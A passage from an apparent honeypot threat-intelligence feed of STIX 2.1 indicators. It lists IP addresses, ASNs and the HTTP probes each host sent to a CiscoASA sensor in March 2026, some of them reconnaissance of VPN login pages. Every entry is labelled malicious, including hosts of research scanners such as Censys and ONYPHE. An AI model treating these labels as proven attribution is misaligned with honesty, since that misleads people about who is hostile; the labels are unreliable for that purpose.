          "attack_count": 1,
          "first_seen": "2026-03-25T10:00:01.859Z",
          "last_seen": "2026-03-25T10:00:01.859Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-25T11:20:34.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.0\" 200 - geo: UA; ASN 211736 (FOP Dmytro Nedilskyi)",
      "id": "indicator--902561dd-5c36-422d-a672-24c062d1af7d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '88.210.63.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T11:20:34.000Z",
      "valid_until": "2026-04-26T11:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-25T10:27:30.532Z",
          "last_seen": "2026-03-25T10:27:34.914Z",
          "country": "Ukraine",
          "country_code": "UA",
          "asn": 211736,
          "as_org": "FOP Dmytro Nedilskyi",
          "event_types": [
            "\"GET / HTTP/1.0\" 200 -",
            "\"GET /api/sonicos/is-sslvpn-enabled HTTP/1.0\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-25T14:20:47.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: PROPFIND / HTTP/1.1\" - - geo: NL; ASN 211443 (Sino Worldwide Trading Limited)",
      "id": "indicator--ad2ec482-5895-4f0b-8d07-8eb3de4a085d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '46.151.178.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T14:20:47.000Z",
      "valid_until": "2026-04-26T14:20:21.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 31,
          "first_seen": "2026-03-25T13:42:32.442Z",
          "last_seen": "2026-03-31T21:04:39.318Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 211443,
          "as_org": "Sino Worldwide Trading Limited",
          "event_types": [
            "\"PROPFIND / HTTP/1.1\" - -"
          ]
        }
      }
    },
    {
      "created": "2026-03-25T18:20:41.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--e4c9187a-d97f-4a16-a3c7-43142d47c545",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '20.65.193.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T18:20:41.000Z",
      "valid_until": "2026-04-26T18:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-25T17:27:08.465Z",
          "last_seen": "2026-03-25T17:27:11.467Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-26T02:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 201002 (PebbleHost Ltd)",
      "id": "indicator--47b386e2-1728-46e8-ac5a-da91f82cf2f6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T02:20:14.000Z",
      "valid_until": "2026-04-27T02:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-26T01:58:15.504Z",
          "last_seen": "2026-03-26T01:58:15.504Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 201002,
          "as_org": "PebbleHost Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-26T03:20:27.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--1eebb600-ad7d-4b0f-b9b8-3cc845a2f9b5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.22.121.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T03:20:27.000Z",
      "valid_until": "2026-04-27T03:20:18.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-26T03:11:23.888Z",
          "last_seen": "2026-03-26T03:11:30.999Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-26T10:21:26.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: FI; ASN 41745 (Baykov Ilya Sergeevich)",
      "id": "indicator--01e3708c-0a61-47a9-b8aa-e15fcc345e94",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '194.39.110.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T10:21:26.000Z",
      "valid_until": "2026-04-27T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-26T09:51:50.795Z",
          "last_seen": "2026-03-26T10:08:37.048Z",
          "country": "Finland",
          "country_code": "FI",
          "asn": 41745,
          "as_org": "Baykov Ilya Sergeevich",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /cdn-cgi/trace HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-26T14:22:41.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 201002 (PebbleHost Ltd)",
      "id": "indicator--bde96bb2-b68a-470c-a777-868a2b18f1ea",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T14:22:41.000Z",
      "valid_until": "2026-04-27T14:20:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-26T13:30:59.079Z",
          "last_seen": "2026-03-26T23:36:45.642Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 201002,
          "as_org": "PebbleHost Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-26T16:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: DE; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--141facaf-f792-49dc-8629-49b69e19cd78",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '47.87.131.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T16:20:13.000Z",
      "valid_until": "2026-04-27T16:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-26T15:46:49.372Z",
          "last_seen": "2026-03-26T15:46:52.376Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-26T17:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--833c2cfb-d125-4cc0-b939-49c78df478bd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T17:20:13.000Z",
      "valid_until": "2026-04-27T17:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-26T16:48:39.766Z",
          "last_seen": "2026-03-26T16:50:12.538Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-26T19:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--d571b7a9-dfbe-4b8b-924d-3b0fb15990a7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '152.32.206.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:20:13.000Z",
      "valid_until": "2026-04-27T19:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 16,
          "first_seen": "2026-03-26T18:42:14.431Z",
          "last_seen": "2026-03-26T18:42:58.379Z",
          "country": "United States",
          "country_code": "US",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-26T19:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--1d8e0c31-707f-4df2-bdfa-7208a7efd5b5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:20:13.000Z",
      "valid_until": "2026-04-27T19:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-26T19:17:31.604Z",
          "last_seen": "2026-03-26T19:17:34.607Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-26T19:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--3e4b1674-b8af-4986-84b0-7564b360ece8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:20:13.000Z",
      "valid_until": "2026-04-27T19:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-26T18:30:45.947Z",
          "last_seen": "2026-03-26T18:30:45.947Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-26T21:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: CN; ASN 4837 (CHINA UNICOM China169 Backbone)",
      "id": "indicator--b4b6fe2e-88cf-4117-9fa5-da53a1b8a4bd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '122.96.28.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T21:20:14.000Z",
      "valid_until": "2026-04-27T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-26T21:14:55.561Z",
          "last_seen": "2026-03-26T21:14:55.561Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4837,
          "as_org": "CHINA UNICOM China169 Backbone",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-26T21:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CN; ASN 4134 (Chinanet)",
      "id": "indicator--bd179ef6-a226-445d-8f3f-567d86fe2f70",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '222.176.200.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T21:20:14.000Z",
      "valid_until": "2026-04-27T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-26T21:13:55.421Z",
          "last_seen": "2026-03-26T21:13:58.424Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4134,
          "as_org": "Chinanet",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-26T21:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CN; ASN 4134 (Chinanet)",
      "id": "indicator--d5468a36-62af-4741-8274-a33edc46341e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '223.199.182.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T21:20:14.000Z",
      "valid_until": "2026-04-27T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-26T21:14:54.636Z",
          "last_seen": "2026-03-26T21:14:54.636Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4134,
          "as_org": "Chinanet",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-26T21:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: CN; ASN 17622 (China Unicom Guangzhou network)",
      "id": "indicator--2336d424-a131-46f2-a8d9-40e2498ee2b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '27.47.25.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T21:20:14.000Z",
      "valid_until": "2026-04-27T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-26T21:14:57.761Z",
          "last_seen": "2026-03-26T21:14:57.761Z",
          "country": "China",
          "country_code": "CN",
          "asn": 17622,
          "as_org": "China Unicom Guangzhou network",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-26T22:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--99f24965-aee6-4095-88c7-ac0dcbb62ed0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T22:20:13.000Z",
      "valid_until": "2026-04-27T22:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-26T21:42:14.836Z",
          "last_seen": "2026-03-26T21:42:14.836Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-26T22:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--5d5bf8ed-4d50-4aab-a5a0-6d98066fc2e5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T22:20:13.000Z",
      "valid_until": "2026-04-27T22:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-26T21:37:16.531Z",
          "last_seen": "2026-03-26T21:37:16.531Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-26T22:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--e19e2a46-ea06-4a56-b25b-ef27b1d521a0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T22:20:13.000Z",
      "valid_until": "2026-04-27T22:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-26T21:40:17.603Z",
          "last_seen": "2026-03-26T21:40:17.603Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-26T22:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--38dd9249-d0a6-4370-8907-d693723161ee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T22:20:13.000Z",
      "valid_until": "2026-04-27T22:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-26T21:40:22.337Z",
          "last_seen": "2026-03-26T21:40:22.337Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-27T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14987 (Rethem Hosting LLC)",
      "id": "indicator--d42a4479-dfa5-4231-809c-5e7db5888397",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T01:20:13.000Z",
      "valid_until": "2026-04-28T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-27T00:36:07.246Z",
          "last_seen": "2026-03-27T00:36:07.945Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14987,
          "as_org": "Rethem Hosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-27T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--4108158e-9447-4204-82de-6d01a925d97f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '18.205.239.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T01:20:13.000Z",
      "valid_until": "2026-04-28T01:20:12.000Z",
      "indicator_types": [
